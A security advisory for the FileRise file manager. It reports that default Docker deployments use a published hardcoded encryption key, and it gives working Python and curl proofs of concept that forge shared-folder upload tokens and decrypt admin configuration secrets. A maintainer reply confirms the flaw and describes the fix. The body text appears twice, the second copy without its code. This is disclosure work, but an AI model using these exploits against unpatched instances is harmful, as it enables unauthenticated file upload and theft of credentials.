Summary
A hardcoded default encryption key (default_please_change_this_key) is used for all cryptographic operations — HMAC token generation, AES config encryption, and session tokens — allowing any unauthenticated attacker to forge upload tokens for arbitrary file upload to shared folders, and to decrypt admin configuration secrets including OIDC client secrets and SMTP passwords.
Details
FileRise uses a single key (PERSISTENT_TOKENS_KEY) for all crypto operations. The default value default_please_change_this_key is hardcoded in two places and used unless the deployer explicitly overrides the environment variable:
Dockerfile line 34:
ENV PERSISTENT_TOKENS_KEY=default_please_change_this_key
config/config.php lines 196–203:
$envKey = getenv('PERSISTENT_TOKENS_KEY');
if ($envKey === false || $envKey === '') {
$encryptionKey = 'default_please_change_this_key';
error_log('WARNING: Using default encryption key. ...');
} else {
$encryptionKey = $envKey;
}
$GLOBALS['encryptionKey'] = $encryptionKey;
This key is used for three security-critical operations:
1. Share Upload Token HMAC (unauthenticated file upload — C:N/I:H)
When a folder share link is created, the upload token is computed as:
// FolderController.php line ~2319
$seed = $token . '|' . (string)$providedPass;
$uploadToken = hash_hmac('sha256', $seed, $GLOBALS['encryptionKey']);
An attacker who sees any shared folder URL (?token=XXXX) can forge a valid share_upload_token and upload arbitrary files to that folder without authentication. The share token is public information — it appears in every shared link URL sent to recipients.
2. Admin Config Encryption (full config disclosure — C:H/I:N)
Admin configuration (containing OIDC client secrets, SMTP passwords, JWT secrets, etc.) is encrypted with AES-256-CBC using the same key:
// AdminModel.php ~line 693
$encryptedContent = encryptData($plainTextConfig, $GLOBALS['encryptionKey']);
file_put_contents(USERS_DIR . 'adminConfig.json', $encryptedContent);
Key derivation: PHP's openssl_encrypt('AES-256-CBC') passes the key string directly to OpenSSL, which zero-pads keys shorter than 32 bytes. The default key is 30 bytes → OpenSSL pads with 2 null bytes. The encryptData() function (config/config.php line 175) uses no KDF — the raw key string is the AES key:
function encryptData($data, $encryptionKey) {
$cipher = 'AES-256-CBC';
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);
$ct = openssl_encrypt($data, $cipher, $encryptionKey, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $ct);
}
This was verified by encrypting test_data with a fixed IV in both PHP and Python — both produce identical ciphertext (1e66082199eb5b988e2e794d643ba36a), confirming the Python PoC's .ljust(32, b'\x00')[:32] exactly matches PHP's OpenSSL zero-padding behavior.
3. Persistent Login Tokens (theoretical session hijack — requires separate write primitive)
Remember-me tokens are HMAC'd and stored encrypted:
// AuthModel.php ~line 670
$hash = hash_hmac('sha256', $token, $GLOBALS['encryptionKey']);
// stored in persistent_tokens.json, encrypted with same key
This is a theoretical escalation path, not a standalone attack: an attacker who already has write access to persistent_tokens.json (via a separate vulnerability such as path traversal or backup injection) could forge a remember-me token to authenticate as any user including admin. This vector is listed for completeness but is not independently exploitable with this vulnerability alone.
Adoption and real-world exposure
The Docker image error311/filerise-docker has 61,000+ pulls on Docker Hub (as of March 2026). The Docker Hub README documentation table currently lists PERSISTENT_TOKENS_KEY as *(required)*, but the Dockerfile ENV default means the container starts and runs normally without the user ever setting it. The docker run example in the README uses a different weak placeholder (please_change_this_@@). Users who follow the default docker run or docker-compose up flow without customizing the key are silently vulnerable.
PoC
Environment: FileRise v3.7.0 (commit fed969d) via docker run -d -p 8080:80 error311/filerise-docker:latest (default settings — key NOT changed)
PoC A: Forge upload token and upload to any shared folder (unauthenticated)
# Step 1 — Admin creates shared folder with upload enabled
# (via UI or API — produces a token like 6399dddfaa4928a1254f46b4b8b55c55)
# Step 2 — Attacker forges the HMAC upload token using the default key
python3 -c "
import hmac, hashlib
share_token = '6399dddfaa4928a1254f46b4b8b55c55' # from shared URL
password = '' # empty if no password set
key = b'default_please_change_this_key'
forged = hmac.new(key, f'{share_token}|{password}'.encode(), hashlib.sha256).hexdigest()
print(f'Forged token: {forged}')
"
# Output: c36537a83668e9c9491fdf2a843584ae899323aba5f57fc2d34e2d7be70407cd
# Step 3 — Attacker uploads file with NO authentication (no cookies, no session)
echo "Uploaded via forged HMAC" > /tmp/payload.txt
curl -X POST 'http://TARGET:8080/api/folder/uploadToSharedFolder.php' \
-F "token=6399dddfaa4928a1254f46b4b8b55c55" \
-F "share_upload_token=c36537a83668e9c9491fdf2a843584ae899323aba5f57fc2d34e2d7be70407cd" \
-F "password=" \
-F "file=@/tmp/payload.txt"
# HTTP 302 — file uploaded successfully
# Step 4 — Verify on disk
docker exec filerise-test ls -la /var/www/uploads/shared-test/
# Shows: payload.txt — uploaded by unauthenticated attacker
PoC B: Decrypt admin configuration (requires read access to adminConfig.json)
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
# Read adminConfig.json (e.g., from backup leak or file read vulnerability)
encrypted_b64 = open('adminConfig.json').read().strip()
# Key derivation: PHP openssl_encrypt zero-pads the 30-byte key to 32 bytes.
# No KDF is used — the raw key string IS the AES key.
# Verified: PHP and Python produce identical ciphertext with this derivation.
key = b'default_please_change_this_key'.ljust(32, b'\x00')[:32]
raw = base64.b64decode(encrypted_b64)
iv, ct = raw[:16], raw[16:] # IV is prepended (16 bytes)
dec = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
padded = dec.update(ct) + dec.finalize()
plaintext = padded[:-padded[-1]].decode() # PKCS7 unpadding
print(plaintext)
# Outputs full admin config JSON including OIDC secrets, SMTP creds, JWT secret, etc.
Both PoCs tested and confirmed on 2026-03-11 against error311/filerise-docker:latest (v3.7.0, commit fed969d).
Impact
Any default FileRise Docker deployment (where PERSISTENT_TOKENS_KEY is not changed) is vulnerable — and with 61,000+ Docker Hub pulls, the exposure surface is significant. The impact cascades across two independently exploitable attack surfaces:
- Token forgery / arbitrary file upload (unauthenticated — I:H): Any attacker who sees a shared folder URL can forge a valid upload token and upload arbitrary files to that shared folder — no authentication required. The share token is public information visible in every shared link URL. This is a pre-auth write primitive with no user interaction required.
- Config decryption (confidentiality — C:H): If
adminConfig.json is accessed through any means (backup leak, misconfigured directory listing, another vulnerability), all stored secrets are exposed including OIDC client secrets, SMTP passwords, and JWT signing secrets.
- Session hijack (theoretical, requires separate write primitive): If an attacker can write to
persistent_tokens.json via a separate vulnerability, they can forge a remember-me token for any user including admin. This is not independently exploitable and is listed for cascading impact context only.
The root cause is that the default Docker deployment experience does not require or prompt the user to change this key, and the hardcoded value is both well-known (in the public Dockerfile) and used for all cryptographic operations.
Maintainer Response
Thanks for the report and the detailed write-up.
I validated the core issue in the released Docker behavior: the image/startup path allowed instances to run on a known published PERSISTENT_TOKENS_KEY value, and that same root key was reused for shared-upload HMAC generation plus encrypted-at-rest application secrets. That meant default-style Docker deployments could remain on predictable key material unless the operator changed it explicitly.
The fix in FileRise v3.9.0+ addresses that deployment behavior without breaking existing installs:
- the runtime image no longer ships a baked-in
PERSISTENT_TOKENS_KEY default
- pristine Docker installs now auto-generate a unique key and persist it in
metadata/persistent_tokens.key
- existing installs without an explicit key continue on a compatibility path instead of failing at startup
- the Admin Panel now warns operators when the instance is still using a legacy or published placeholder key
- an admin-only rotation flow was added for compatible installs so stored secrets can be re-encrypted under a new key and remember-me sessions can be expired deliberately
I also re-tested the two primary exploit paths against the updated behavior:
- a forged shared-folder upload token computed with
default_please_change_this_key was rejected on a pristine auto-generated-key install
- decrypting
adminConfig.json with default_please_change_this_key failed once the instance was using non-default key material
I agree the remembered-session point is secondary and depends on a separate write primitive, but the deployment-default issue itself was valid and worth fixing.
For severity, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N / 8.2 is a reasonable rating for the reported deployment-default condition. I do not plan to dispute that score.
Fix is available in FileRise v3.9.0+ and docs/examples/templates were updated.
Thanks again for reporting it responsibly.
Summary
A hardcoded default encryption key (
default_please_change_this_key) is used for all cryptographic operations — HMAC token generation, AES config encryption, and session tokens — allowing any unauthenticated attacker to forge upload tokens for arbitrary file upload to shared folders, and to decrypt admin configuration secrets including OIDC client secrets and SMTP passwords.Details
FileRise uses a single key (
PERSISTENT_TOKENS_KEY) for all crypto operations. The default valuedefault_please_change_this_keyis hardcoded in two places and used unless the deployer explicitly overrides the environment variable:Dockerfileline 34:ENV PERSISTENT_TOKENS_KEY=default_please_change_this_keyconfig/config.phplines 196–203:This key is used for three security-critical operations:
1. Share Upload Token HMAC (unauthenticated file upload — C:N/I:H)
When a folder share link is created, the upload token is computed as:
An attacker who sees any shared folder URL (
?token=XXXX) can forge a validshare_upload_tokenand upload arbitrary files to that folder without authentication. The share token is public information — it appears in every shared link URL sent to recipients.2. Admin Config Encryption (full config disclosure — C:H/I:N)
Admin configuration (containing OIDC client secrets, SMTP passwords, JWT secrets, etc.) is encrypted with AES-256-CBC using the same key:
Key derivation: PHP's
openssl_encrypt('AES-256-CBC')passes the key string directly to OpenSSL, which zero-pads keys shorter than 32 bytes. The default key is 30 bytes → OpenSSL pads with 2 null bytes. TheencryptData()function (config/config.phpline 175) uses no KDF — the raw key string is the AES key:This was verified by encrypting
test_datawith a fixed IV in both PHP and Python — both produce identical ciphertext (1e66082199eb5b988e2e794d643ba36a), confirming the Python PoC's.ljust(32, b'\x00')[:32]exactly matches PHP's OpenSSL zero-padding behavior.3. Persistent Login Tokens (theoretical session hijack — requires separate write primitive)
Remember-me tokens are HMAC'd and stored encrypted:
This is a theoretical escalation path, not a standalone attack: an attacker who already has write access to
persistent_tokens.json(via a separate vulnerability such as path traversal or backup injection) could forge a remember-me token to authenticate as any user including admin. This vector is listed for completeness but is not independently exploitable with this vulnerability alone.Adoption and real-world exposure
The Docker image
error311/filerise-dockerhas 61,000+ pulls on Docker Hub (as of March 2026). The Docker Hub README documentation table currently listsPERSISTENT_TOKENS_KEYas*(required)*, but the Dockerfile ENV default means the container starts and runs normally without the user ever setting it. Thedocker runexample in the README uses a different weak placeholder (please_change_this_@@). Users who follow the defaultdocker runordocker-compose upflow without customizing the key are silently vulnerable.PoC
Environment: FileRise v3.7.0 (commit
fed969d) viadocker run -d -p 8080:80 error311/filerise-docker:latest(default settings — key NOT changed)PoC A: Forge upload token and upload to any shared folder (unauthenticated)
PoC B: Decrypt admin configuration (requires read access to adminConfig.json)
Both PoCs tested and confirmed on 2026-03-11 against
error311/filerise-docker:latest(v3.7.0, commitfed969d).Impact
Any default FileRise Docker deployment (where
PERSISTENT_TOKENS_KEYis not changed) is vulnerable — and with 61,000+ Docker Hub pulls, the exposure surface is significant. The impact cascades across two independently exploitable attack surfaces:adminConfig.jsonis accessed through any means (backup leak, misconfigured directory listing, another vulnerability), all stored secrets are exposed including OIDC client secrets, SMTP passwords, and JWT signing secrets.persistent_tokens.jsonvia a separate vulnerability, they can forge a remember-me token for any user including admin. This is not independently exploitable and is listed for cascading impact context only.The root cause is that the default Docker deployment experience does not require or prompt the user to change this key, and the hardcoded value is both well-known (in the public Dockerfile) and used for all cryptographic operations.
Maintainer Response
Thanks for the report and the detailed write-up.
I validated the core issue in the released Docker behavior: the image/startup path allowed instances to run on a known published
PERSISTENT_TOKENS_KEYvalue, and that same root key was reused for shared-upload HMAC generation plus encrypted-at-rest application secrets. That meant default-style Docker deployments could remain on predictable key material unless the operator changed it explicitly.The fix in
FileRise v3.9.0+addresses that deployment behavior without breaking existing installs:PERSISTENT_TOKENS_KEYdefaultmetadata/persistent_tokens.keyI also re-tested the two primary exploit paths against the updated behavior:
default_please_change_this_keywas rejected on a pristine auto-generated-key installadminConfig.jsonwithdefault_please_change_this_keyfailed once the instance was using non-default key materialI agree the remembered-session point is secondary and depends on a separate write primitive, but the deployment-default issue itself was valid and worth fixing.
For severity,
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N/8.2is a reasonable rating for the reported deployment-default condition. I do not plan to dispute that score.Fix is available in FileRise v3.9.0+ and docs/examples/templates were updated.
Thanks again for reporting it responsibly.